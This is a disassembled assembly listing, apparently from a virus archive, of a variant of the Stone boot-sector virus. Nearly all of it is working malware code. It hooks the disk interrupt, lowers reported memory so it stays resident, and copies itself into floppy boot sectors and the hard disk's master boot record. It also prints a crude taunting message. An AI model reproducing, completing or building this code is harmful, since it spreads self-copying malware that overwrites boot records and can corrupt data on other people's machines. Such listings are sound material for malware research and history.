home *** CD-ROM | disk | FTP | other *** search
-
- PAGE 59,132
-
- ;██████████████████████████████████████████████████████████████████████████
- ;██ ██
- ;██ STONE ██
- ;██ ██
- ;██ Created: 1-Jan-80 ██
- ;██ Passes: 5 Analysis Options on: none ██
- ;██ ██
- ;██████████████████████████████████████████████████████████████████████████
-
- d_0000_004C_e equ 4Ch
- d_0000_004E_e equ 4Eh
- main_ram_size_ equ 413h
- timer_low_ equ 46Ch
- d_0000_7C00_e equ 7C00h ;*
- d_0000_7C0A_e equ 7C0Ah ;*
- d_0000_7C0C_e equ 7C0Ch ;*
- d_0000_7C10_e equ 7C10h ;*
- data_0000_e equ 0
- data_0008_e equ 8
- data_0009_e equ 9
- data_000A_e equ 0Ah
- data_000E_e equ 0Eh
- data_0012_e equ 12h
- data_03E0_e equ 3E0h ;*
-
- seg_a segment byte public
- assume cs:seg_a, ds:seg_a
-
-
- org 100h
-
- stone proc far
-
- start:
- ;* jmp far ptr l_07C0_0005 ;*
- db 0EAh, 05h, 00h,0C0h, 07h
- jmp loc_01C1
- db 00h, 00h, 00h, 00h, 00h, 00h
- db 04h, 01h, 00h, 00h, 00h, 7Ch
- db 00h, 00h, 1Eh, 50h, 80h,0FCh
- db 02h, 72h, 18h, 80h,0FCh, 04h
- db 73h, 13h, 80h,0FAh, 00h, 75h
- db 0Eh, 33h,0C0h, 8Eh,0D8h,0A0h
- db 40h, 04h, 0Ah,0C0h, 75h, 03h
- db 0E8h, 07h, 00h
- db 58h, 1Fh, 2Eh,0FFh, 2Eh, 0Ah
- db 00h
- db 53h, 51h, 52h, 06h, 56h, 57h
- db 0BEh, 04h, 00h
- loc_0145:
- mov ax,201h
- push cs
- pop es
- mov bx,200h
- mov cx,1
- xor dx,dx ; Zero register
- pushf ; Push flags
- call dword ptr cs:data_000A_e
- jnc loc_0168 ; Jump if carry=0
- xor ax,ax ; Zero register
- pushf ; Push flags
- call dword ptr cs:data_000A_e
- dec si
- jnz loc_0145 ; Jump if not zero
- jmp short loc_01A5
- db 90h
- loc_0168:
- xor si,si ; Zero register
- mov di,200h
- mov ax,es:[si]
- cmp ax,es:[di]
- jne loc_0182 ; Jump if not equal
- mov ax,es:[si+2]
- cmp ax,es:[di+2]
- jne loc_0182 ; Jump if not equal
- jmp short loc_01A5
- db 90h
- loc_0182:
- mov ax,301h
- mov bx,200h
- mov cx,3
- mov dx,100h
- pushf ; Push flags
- call dword ptr cs:data_000A_e
- jc loc_01A5 ; Jump if carry Set
- mov ax,301h
- xor bx,bx ; Zero register
- mov cl,1
- xor dx,dx ; Zero register
- pushf ; Push flags
- call dword ptr cs:data_000A_e
- loc_01A5:
- pop di
- pop si
- pop es
- pop dx
- pop cx
- pop bx
- retn
-
- stone endp
-
- ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
- ; SUBROUTINE
- ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
-
- sub_01AC proc near
- loc_01AC:
- mov al,cs:[bx]
- inc bx
- cmp al,0
- jne loc_01B5 ; Jump if not equal
- retn
- loc_01B5:
- push ax
- push bx
- mov ah,0Eh
- mov bh,0
- int 10h ; Video display ah=functn 0Eh
- ; write char al, teletype mode
- pop bx
- pop ax
- jmp short loc_01AC
- sub_01AC endp
-
- loc_01C1:
- xor ax,ax ; Zero register
- mov ds,ax
- cli ; Disable interrupts
- mov ss,ax
- mov sp,7C00h
- sti ; Enable interrupts
- mov ax,ds:d_0000_004C_e
- mov ds:d_0000_7C0A_e,ax
- mov ax,ds:d_0000_004E_e
- mov ds:d_0000_7C0C_e,ax
- mov ax,ds:main_ram_size_
- dec ax
- dec ax
- mov ds:main_ram_size_,ax
- mov cl,6
- shl ax,cl ; Shift w/zeros fill
- mov es,ax
- mov ds:d_0000_7C10_e,ax
- mov ax,16h
- mov ds:d_0000_004C_e,ax
- mov ds:d_0000_004E_e,es
- mov cx,1E0h
- push cs
- pop ds
- xor si,si ; Zero register
- mov di,si
- cld ; Clear direction
- rep movsb ; Rep when cx >0 Mov [si] to es:[di]
- jmp dword ptr cs:data_000E_e
- mov ax,0
- int 13h ; Disk dl=drive a ah=func 00h
- ; reset disk, al=return status
- xor ax,ax ; Zero register
- mov es,ax
- mov ax,201h
- mov bx,d_0000_7C00_e
- cmp byte ptr cs:data_0008_e,0
- je loc_0226 ; Jump if equal
- mov cx,2
- mov dx,80h
- int 13h ; Disk dl=drive 0 ah=func 02h
- ; read sectors to memory es:bx
- ; al=#,ch=cyl,cl=sectr,dh=head
- jmp short loc_0266
- db 90h
- loc_0226:
- mov cx,3
- mov dx,100h
- int 13h ; Disk dl=drive a ah=func 02h
- ; read sectors to memory es:bx
- ; al=#,ch=cyl,cl=sectr,dh=head
- jc loc_0266 ; Jump if carry Set
- test byte ptr es:timer_low_,7
- jnz loc_023E ; Jump if not zero
- mov bx,1B2h
- call sub_01AC
- loc_023E:
- push cs
- pop es
- mov ax,201h
- mov bx,200h
- mov cx,1
- mov dx,80h
- int 13h ; Disk dl=drive 0 ah=func 02h
- ; read sectors to memory es:bx
- ; al=#,ch=cyl,cl=sectr,dh=head
- jc loc_0266 ; Jump if carry Set
- push cs
- pop ds
- mov si,200h
- mov di,data_0000_e
- mov ax,[si]
- cmp ax,[di]
- jne loc_0277 ; Jump if not equal
- mov ax,[si+2]
- cmp ax,[di+2]
- jne loc_0277 ; Jump if not equal
- loc_0266:
- mov byte ptr cs:data_0008_e,0
- mov byte ptr cs:data_0009_e,0
- jmp dword ptr cs:data_0012_e
- loc_0277:
- mov byte ptr cs:data_0008_e,2
- mov byte ptr cs:data_0009_e,0
- mov ax,301h
- mov bx,200h
- mov cx,2
- mov dx,80h
- int 13h ; Disk dl=drive 0 ah=func 03h
- ; write sectors from mem es:bx
- ; al=#,ch=cyl,cl=sectr,dh=head
- jc loc_0266 ; Jump if carry Set
- push cs
- pop ds
- push cs
- pop es
- mov si,data_03E0_e
- mov di,1E0h
- mov cx,0FDE0h
- rep movsb ; Rep when cx >0 Mov [si] to es:[di]
- mov ax,301h
- mov bx,data_0000_e
- mov cx,1
- mov dx,80h
- int 13h ; Disk dl=drive 0 ah=func 03h
- ; write sectors from mem es:bx
- ; al=#,ch=cyl,cl=sectr,dh=head
- jmp short loc_0266
- db 7
- db 'I am Andrew Dice Clay!'
- db 07h, 0Dh, 0Ah, 0Ah, 00h
- db 'So, BLOW ME....Hey!'
-
- seg_a ends
-
-
-
- end start
-